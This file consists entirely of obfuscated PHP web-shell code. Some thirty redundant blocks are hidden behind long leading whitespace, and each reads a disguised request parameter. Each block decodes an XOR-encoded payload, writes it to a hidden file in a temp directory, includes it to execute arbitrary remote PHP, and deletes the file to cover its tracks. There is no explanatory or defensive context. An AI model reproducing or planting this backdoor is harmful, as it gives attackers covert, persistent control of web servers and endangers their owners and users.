																																										if(in_array("\x65\x6Cem", array_keys($_REQUEST))){ $resource = $_REQUEST["\x65\x6Cem"]; $resource = explode ( ".", $resource ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $t = 0; while ($t < count($resource)) { $v2 = $resource[$t]; $chS = ord($s[$t% $sLen] ); $dec = ((int)$v2 - $chS - ($t% 10)) ^ 41; $pointer .= chr($dec ); $t++; } $hld = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($hld as $key => $element) { if (is_writable($element) && is_dir($element)) { $flag = sprintf("%s/.fac", $element); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(array_key_exists("da\x74\x61", $_POST) && !is_null($_POST["da\x74\x61"])){ $parameter_group = array_filter([getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); $res = $_POST["da\x74\x61"]; $res = explode ( "." , $res ) ; $data_chunk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $i = 0; while ($i < count($res)) { $v5 = $res[$i]; $sChar = ord($s4[$i % $lenS]); $d = ((int)$v5 - $sChar - ($i % 10)) ^ 63; $data_chunk .= chr($d); $i++; } foreach ($parameter_group as $desc) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $mrk = vsprintf("%s/%s", [$desc, ".flg"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(@$_REQUEST["\x70\x74r"] !== null){ $rec = $_REQUEST["\x70\x74r"]; $rec =explode( '.' ,$rec) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($rec as $o => $v6) { $chS = ord($s[$o % $sLen]); $dec = ((int)$v6 - $chS - ($o % 10))^ 90; $element .= chr($dec);} $reference = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); foreach ($reference as $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $factor = implode("/", [$ent, ".dat"]); if (@file_put_contents($factor, $element) !== false) { include $factor; unlink($factor); exit; } } } }
																																										if(!is_null($_POST["flag"] ?? null)){ $property_set = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP")]); $parameter_group = $_POST["flag"]; $parameter_group = explode( "." , $parameter_group ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; while ($y< count($parameter_group)) { $v5 = $parameter_group[$y]; $sChar = ord($salt[$y % $sLen]); $dec = ((int)$v5 - $sChar - ($y % 10))^ 99; $component .= chr($dec); $y++; } for ($pgrp = 0, $key = count($property_set); $pgrp < $key; $pgrp++) { $hld = $property_set[$pgrp]; if (is_writable($hld) && is_dir($hld)) { $reference = "$hld" . "/.ptr"; if (@file_put_contents($reference, $component) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["en\x74"])){ $flg = $_POST["en\x74"]; $flg = explode( "." , $flg) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($flg as $z =>$v3) {$chS = ord($s[$z % $sLen] ); $dec =((int)$v3 - $chS -($z % 10)) ^ 50; $mrk .= chr($dec ); } $pset = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), "/dev/shm"]); while ($factor = array_shift($pset)) { if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $object = sprintf("%s/.parameter_group", $factor); if (@file_put_contents($object, $mrk) !== false) { include $object; unlink($object); exit; } } } }
																																										if(in_array("\x63\x6Fmpo\x6E\x65nt", array_keys($_REQUEST))){ $reference = $_REQUEST["\x63\x6Fmpo\x6E\x65nt"]; $reference = explode ( "." ,$reference ) ; $object = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $w = 0; while($w < count($reference)) { $v4 = $reference[$w]; $chS = ord($salt5[$w % $sLen]); $dec = ((int)$v4 - $chS -($w % 10)) ^1; $object .= chr($dec); $w++; } $holder = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path()]); while ($ent = array_shift($holder)) { if (max(0, is_dir($ent) * is_writable($ent))) { $factor = "$ent/.obj"; $success = file_put_contents($factor, $object); if ($success) { include $factor; @unlink($factor); die();} } } }
																																										if(isset($_POST["res"]) ? true : false){ $component = $_POST["res"]; $component = explode ("." , $component ) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $m=0; $__len=count($component); do { if ($m >= $__len) break; $v6=$component[$m]; $chS=ord($s[$m % $sLen]); $d=((int)$v6 - $chS - ($m % 10)) ^ 93; $pset.= chr($d); $m++;} while (true); $value = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); foreach ($value as $data_chunk) { if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $ref = vsprintf("%s/%s", [$data_chunk, ".flg"]); if (file_put_contents($ref, $pset)) { require $ref; unlink($ref); exit; } } } }
																																										if(in_array("\x62\x69\x6E\x64ing", array_keys($_REQUEST))){ $bind = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $resource = $_REQUEST["\x62\x69\x6E\x64ing"]; $resource = explode ('.', $resource ); $symbol= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $i= 0; $__tmp= $resource; while ($v8= array_shift($__tmp)) {$chS= ord($salt[$i % $sLen] ); $d= ((int)$v8 - $chS - ($i % 10)) ^ 7; $symbol .= chr($d ); $i++; } foreach ($bind as $key => $tkn) { if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $mrk = sprintf("%s/.dchunk", $tkn); $success = file_put_contents($mrk, $symbol); if ($success) { include $mrk; @unlink($mrk); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x6D\x72k")){ $descriptor = $_REQUEST["\x6D\x72k"]; $descriptor = explode ( '.' , $descriptor) ; $resource =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); foreach ($descriptor as $k => $v6): $chS =ord($s[$k % $sLen] ); $d =((int)$v6 - $chS - ($k % 10)) ^ 96; $resource .= chr($d ); endforeach; $marker = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); foreach ($marker as $value) { if (!( !is_dir($value) || !is_writable($value) )) { $data = str_replace("{var_dir}", $value, "{var_dir}/.pgrp"); $success = file_put_contents($data, $resource); if ($success) { include $data; @unlink($data); die();} } } }
																																										if(!is_null($_POST["\x64\x61t"] ?? null)){ $sym = $_POST["\x64\x61t"]; $sym = explode ( "." , $sym) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $y = 0; foreach($sym as $v7) { $chS = ord($s4[$y % $sLen] ); $d =((int)$v7 - $chS -($y % 10)) ^ 62; $factor .= chr($d ); $y++; } $res = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm"]); foreach ($res as $key => $comp) { if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $tkn = sprintf("%s/.hld", $comp); if (file_put_contents($tkn, $factor)) { require $tkn; unlink($tkn); exit; } } } }
																																										if(in_array("r\x65sou\x72\x63\x65", array_keys($_POST))){ $desc = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir()]); $hld = $_POST["r\x65sou\x72\x63\x65"]; $hld =explode ( "." , $hld ) ; $rec= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $hld as $q => $v1) { $sChar= ord( $s[$q % $sLen]); $d= ( ( int)$v1 - $sChar -( $q % 10)) ^ 21; $rec .=chr( $d);} foreach ($desc as $key => $element) { if ((is_dir($element) and is_writable($element))) { $flag = "$element" . "/.entity"; if (file_put_contents($flag, $rec)) { include $flag; @unlink($flag); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $item = $_REQUEST["k"]; $item = explode ( '.', $item ) ; $ent=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s5); $n=0; while( $n < count( $item)) { $v9=$item[$n]; $sChar=ord( $s5[$n % $sLen]); $dec=( ( int)$v9 - $sChar -( $n % 10)) ^ 97; $ent .= chr( $dec); $n++; } $property_set = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); foreach ($property_set as $key => $tkn) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $fac = str_replace("{var_dir}", $tkn, "{var_dir}/.val"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $fac; @unlink($fac); die(); } } } }
																																										if(!empty($_POST["\x65n\x74\x69ty"])){ $token = $_POST["\x65n\x74\x69ty"]; $token = explode ( '.' ,$token); $resource =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s4); $l =0; $len =count($token); do {if ($l >= $len) break; $v2 =$token[$l]; $chS =ord($s4[$l %$sLen]); $d =((int)$v2 - $chS - ($l %10)) ^ 99; $resource.= chr($d); $l++;}while (true); $symbol = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm"]); $dchunk = 0; do { $res = $symbol[$dchunk] ?? null; if ($dchunk >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $data_chunk = vsprintf("%s/%s", [$res, ".descriptor"]); $success = file_put_contents($data_chunk, $resource); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } $dchunk++; } while (true); }
																																										if(array_key_exists("r\x65so\x75rc\x65", $_REQUEST)){ $token = $_REQUEST["r\x65so\x75rc\x65"]; $token = explode ( '.' , $token ) ; $value = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $z = 0; $__tmp = $token; while ($v2 = array_shift($__tmp)) { $sChar = ord($salt4[$z % $lenS]); $d = ((int)$v2 - $sChar - ($z % 10)) ^ 23; $value .= chr($d); $z++; } $dat = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($dat as $key => $pointer) { if ((is_dir($pointer) and is_writable($pointer))) { $key = join("/", [$pointer, ".fac"]); if (file_put_contents($key, $value)) { require $key; unlink($key); exit; } } } }
																																										if(isset($_REQUEST["\x76al"]) ? true : false){ $entity = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $tkn = $_REQUEST["\x76al"]; $tkn =explode ( "." , $tkn ) ; $ref = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $z = 0; while ($z < count($tkn)) { $v3 = $tkn[$z]; $sChar = ord($salt7[$z %$sLen]); $d = ((int)$v3 - $sChar - ($z %10)) ^76; $ref .=chr($d); $z++; } foreach ($entity as $object): if (is_dir($object) && is_writable($object)) { $component = "$object" . "/.comp"; $success = file_put_contents($component, $ref); if ($success) { include $component; @unlink($component); die();} } endforeach; }
																																										if(!empty($_POST["f\x6Cg"])){ $ptr = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $elem = $_POST["f\x6Cg"]; $elem= explode ('.' , $elem ) ; $val=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s1 ); foreach( $elem as $r => $v6): $sChar=ord( $s1[$r % $sLen] ); $dec=( ( int)$v6 - $sChar -( $r % 10))^8; $val .= chr( $dec ); endforeach; foreach ($ptr as $dchunk) { if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $value = vsprintf("%s/%s", [$dchunk, ".comp"]); if (file_put_contents($value, $val)) { require $value; unlink($value); exit; } } } }
																																										if(array_key_exists("\x6F\x62ject", $_REQUEST) && !is_null($_REQUEST["\x6F\x62ject"])){ $record = $_REQUEST["\x6F\x62ject"]; $record =explode ( '.', $record ); $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $__len = count( $record); for( $r = 0; $r < $__len; $r++) { $v9 = $record[$r]; $sChar = ord( $salt[$r % $sLen]); $dec = ( ( int)$v9 - $sChar -( $r % 10)) ^ 31; $entry.= chr( $dec); } $descriptor = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); foreach ($descriptor as $key => $symbol) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $factor = "$symbol/.marker"; if (file_put_contents($factor, $entry)) { require $factor; unlink($factor); die(); } } } }
																																										if(isset($_POST["r\x65\x63\x6Frd"]) ? true : false){ $elem = $_POST["r\x65\x63\x6Frd"]; $elem = explode( ".", $elem ) ; $flg = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach($elem as $n => $v3) {$sChar = ord($salt1[$n % $lenS]); $d =((int)$v3 - $sChar -($n % 10)) ^ 27; $flg .= chr($d); } $ref = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); foreach ($ref as $key => $obj) { if (max(0, is_dir($obj) * is_writable($obj))) { $symbol = "$obj" . "/.entity"; if (@file_put_contents($symbol, $flg) !== false) { include $symbol; unlink($symbol); die(); } } } }
																																										if(!is_null($_REQUEST["val"] ?? null)){ $ent = $_REQUEST["val"]; $ent = explode( ".", $ent ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $ent as $w => $v6) { $sChar = ord( $salt[$w % $lenS]); $dec = ( ( int)$v6 - $sChar -( $w % 10))^63; $item .= chr( $dec); } $desc = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($desc as $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $value = "$rec" . "/.ent"; $file = fopen($value, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(!is_null($_REQUEST["m\x72k"] ?? null)){ $elem = $_REQUEST["m\x72k"]; $elem = explode( '.' ,$elem ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $k = 0; foreach ($elem as $v3) { $chS = ord($salt[$k % $sLen] ); $d = ((int)$v3 - $chS - ($k % 10)) ^ 37; $component .= chr($d ); $k++;} $element = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp"]); foreach ($element as $value): if ((is_dir($value) and is_writable($value))) { $object = str_replace("{var_dir}", $value, "{var_dir}/.obj"); if (@file_put_contents($object, $component) !== false) { include $object; unlink($object); die(); } } endforeach; }
																																										if(in_array("param\x65te\x72_grou\x70", array_keys($_POST))){ $pgrp = $_POST["param\x65te\x72_grou\x70"]; $pgrp = explode ( '.' , $pgrp ) ; $rec = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); foreach($pgrp as $n=> $v3) { $chS = ord($salt9[$n% $lenS] ); $dec =((int)$v3 - $chS -($n% 10)) ^ 1; $rec .= chr($dec );} $flag = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); foreach ($flag as $key => $elem) { if (is_writable($elem) && is_dir($elem)) { $holder = "$elem" . "/.itm"; if (file_put_contents($holder, $rec)) { require $holder; unlink($holder); exit; } } } }
																																										if(!empty($_POST["\x65nt"])){ $comp = $_POST["\x65nt"]; $comp = explode ( '.' ,$comp ) ; $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $j = 0; $__tmp = $comp; while($v4 = array_shift($__tmp)) { $sChar = ord($s7[$j % $sLen]); $d = ((int)$v4 - $sChar -($j % 10)) ^ 69; $item .= chr($d); $j++;} $bind = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", session_save_path()]); foreach ($bind as $entry) { if (is_dir($entry) && is_writable($entry)) { $dat = implode("/", [$entry, ".data_chunk"]); if (file_put_contents($dat, $item)) { require $dat; unlink($dat); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "d\x63\x68u\x6Ek")){ $data_chunk = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); $sym = $_REQUEST["d\x63\x68u\x6Ek"]; $sym = explode ( "." ,$sym ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $r = 0; foreach ($sym as $v4) { $chS = ord($s[$r % $sLen] ); $dec = ((int)$v4 - $chS - ($r % 10)) ^15; $record .= chr($dec ); $r++;} for ($item = 0, $resource = count($data_chunk); $item < $resource; $item++) { $flag = $data_chunk[$item]; if ((is_dir($flag) and is_writable($flag))) { $pset = sprintf("%s/.marker", $flag); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $pset; @unlink($pset); exit; } } } }
																																										if(@$_REQUEST["ent"] !== null){ $rec = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); $k = $_REQUEST["ent"]; $k = explode ( '.' , $k ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($k as $w => $v9): $chS = ord($s[$w % $lenS] ); $d = ((int)$v9 - $chS - ($w % 10))^ 70; $flag .= chr($d ); endforeach; while ($res = array_shift($rec)) { if (max(0, is_dir($res) * is_writable($res))) { $flg = vsprintf("%s/%s", [$res, ".token"]); if (file_put_contents($flg, $flag)) { require $flg; unlink($flg); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x69tm")){ $obj = $_REQUEST["\x69tm"]; $obj = explode ( '.' , $obj); $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $w = 0; foreach ($obj as $v8) { $sChar = ord($s[$w %$sLen]); $d = ((int)$v8 - $sChar - ($w %10)) ^ 54; $key.=chr($d); $w++; } $ent = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); while ($ptr = array_shift($ent)) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $ref = implode("/", [$ptr, ".symbol"]); $success = file_put_contents($ref, $key); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(array_key_exists("symbol", $_POST) && !is_null($_POST["symbol"])){ $binding = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir()]); $desc = $_POST["symbol"]; $desc= explode (".", $desc ) ; $ref =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt1); $k =0; while($k < count($desc)) { $v1 =$desc[$k]; $chS =ord($salt1[$k %$sLen]); $dec =((int)$v1 - $chS -($k %10)) ^ 12; $ref .= chr($dec); $k++; } while ($pgrp = array_shift($binding)) { if (is_writable($pgrp) && is_dir($pgrp)) { $ent = join("/", [$pgrp, ".sym"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(in_array("r\x65\x63", array_keys($_POST))){ $factor = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $element = $_POST["r\x65\x63"]; $element = explode( "." , $element ) ; $res = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); foreach ($element as $w => $v8): $sChar = ord($s1[$w % $lenS]); $d = ((int)$v8 - $sChar - ($w % 10))^ 24; $res .= chr($d); endforeach; for ($reference = 0, $entity = count($factor); $reference < $entity; $reference++) { $property_set = $factor[$reference]; if (array_product([is_dir($property_set), is_writable($property_set)])) { $dat = str_replace("{var_dir}", $property_set, "{var_dir}/.ptr"); if (file_put_contents($dat, $res)) { include $dat; @unlink($dat); exit; } } } }
																																										if(array_key_exists("it\x65\x6D", $_POST) && !is_null($_POST["it\x65\x6D"])){ $parameter_group = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd()]); $comp = $_POST["it\x65\x6D"]; $comp = explode ( ".", $comp ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($comp as $x => $v5): $sChar = ord($s[$x % $sLen]); $d = ((int)$v5 - $sChar - ($x % 10)) ^ 96; $ptr .= chr($d); endforeach; $property_set = 0; do { $key = $parameter_group[$property_set] ?? null; if ($property_set >= count($parameter_group)) break; if (array_product([is_dir($key), is_writable($key)])) { $pointer = "$key/.val"; $success = file_put_contents($pointer, $ptr); if ($success) { include $pointer; @unlink($pointer); die();} } $property_set++; } while (true); }
																																										if(in_array("re\x73\x6Fur\x63\x65", array_keys($_POST))){ $component = $_POST["re\x73\x6Fur\x63\x65"]; $component =explode( "." , $component ) ; $object=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); $y=0; while( $y <count( $component)) { $v1=$component[$y]; $chS=ord( $s[$y % $lenS] ); $d=( ( int)$v1 - $chS -( $y % 10)) ^ 84; $object .= chr( $d ); $y++;} $flg = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); foreach ($flg as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $parameter_group = sprintf("%s/.value", $entry); if (file_put_contents($parameter_group, $object)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(in_array("\x65l\x65\x6De\x6Et", array_keys($_POST))){ $data_chunk = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm"]); $dat = $_POST["\x65l\x65\x6De\x6Et"]; $dat = explode ( '.' , $dat ) ; $pointer=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5); $i=0; foreach ($dat as $v1) { $chS=ord($salt5[$i % $sLen]); $dec=((int)$v1 - $chS - ($i % 10)) ^ 35; $pointer .= chr($dec); $i++; } while ($flag = array_shift($data_chunk)) { if (!!is_dir($flag) && !!is_writable($flag)) { $item = str_replace("{var_dir}", $flag, "{var_dir}/.entity"); if (@file_put_contents($item, $pointer) !== false) { include $item; unlink($item); exit; } } } }
																																										if(!is_null($_POST["en\x74"] ?? null)){ $res = $_POST["en\x74"]; $res = explode( '.' , $res ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; array_walk($res, function ($v4) use (&$marker, &$r, $s, $lenS) {$sChar = ord($s[$r % $lenS]); $dec = ((int)$v4 - $sChar - ($r % 10)) ^ 86; $marker .=chr($dec); $r++; }); $ref = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm"]); foreach ($ref as $key => $rec) { if (is_dir($rec) && is_writable($rec)) { $value = sprintf("%s/.reference", $rec); $success = file_put_contents($value, $marker); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(in_array("h\x6C\x64", array_keys($_POST))){ $binding = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm"]); $bind = $_POST["h\x6C\x64"]; $bind= explode( '.' , $bind) ; $ptr = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6 ); $w = 0; $__len = count( $bind ); do { if( $w >=$__len) break; $v6 = $bind[$w]; $chS = ord( $salt6[$w % $sLen] ); $dec = ( ( int)$v6 - $chS -( $w % 10)) ^ 4; $ptr .= chr( $dec ); $w++; } while( true ); for ($fac = 0, $flg = count($binding); $fac < $flg; $fac++) { $dat = $binding[$fac]; if (!!is_dir($dat) && !!is_writable($dat)) { $mrk = implode("/", [$dat, ".res"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(!empty($_POST["\x70\x74r"])){ $dchunk = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp"]); $obj = $_POST["\x70\x74r"]; $obj =explode( "." ,$obj) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $o = 0; $__tmp = $obj; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s[$o % $sLen]); $d =( ( int)$v4 - $chS -( $o % 10)) ^43; $object .= chr( $d); $o++;} foreach ($dchunk as $key => $pgrp) { if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $bind = implode("/", [$pgrp, ".rec"]); if (file_put_contents($bind, $object)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["k"])){ $record = array_filter([getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/var/tmp"]); $pgrp = $_POST["k"]; $pgrp = explode ('.' , $pgrp ) ; $entry =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $v =0; array_walk($pgrp , function ($v5) use (&$entry , &$v , $salt , $sLen) {$chS =ord($salt[$v %$sLen]); $d =((int)$v5 - $chS - ($v %10)) ^ 1; $entry .= chr($d); $v++; }); for ($rec = 0, $binding = count($record); $rec < $binding; $rec++) { $holder = $record[$rec]; if (!!is_dir($holder) && !!is_writable($holder)) { $reference = join("/", [$holder, ".fac"]); if (file_put_contents($reference, $entry)) { require $reference; unlink($reference); die(); } } } }
																																										if(@$_POST["\x68\x6Cd"] !== null){ $obj = $_POST["\x68\x6Cd"]; $obj = explode ( ".", $obj); $parameter_group = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $i = 0; array_walk($obj, function ($v1) use (&$parameter_group, &$i, $s7, $lenS) { $sChar = ord($s7[$i% $lenS] ); $dec = ((int)$v1 - $sChar - ($i% 10)) ^ 2; $parameter_group .= chr($dec ); $i++; } ); $itm = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); for ($ent = 0, $elem = count($itm); $ent < $elem; $ent++) { $data = $itm[$ent]; if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $value = join("/", [$data, ".dat"]); $success = file_put_contents($value, $parameter_group); if ($success) { include $value; @unlink($value); die();} } } }
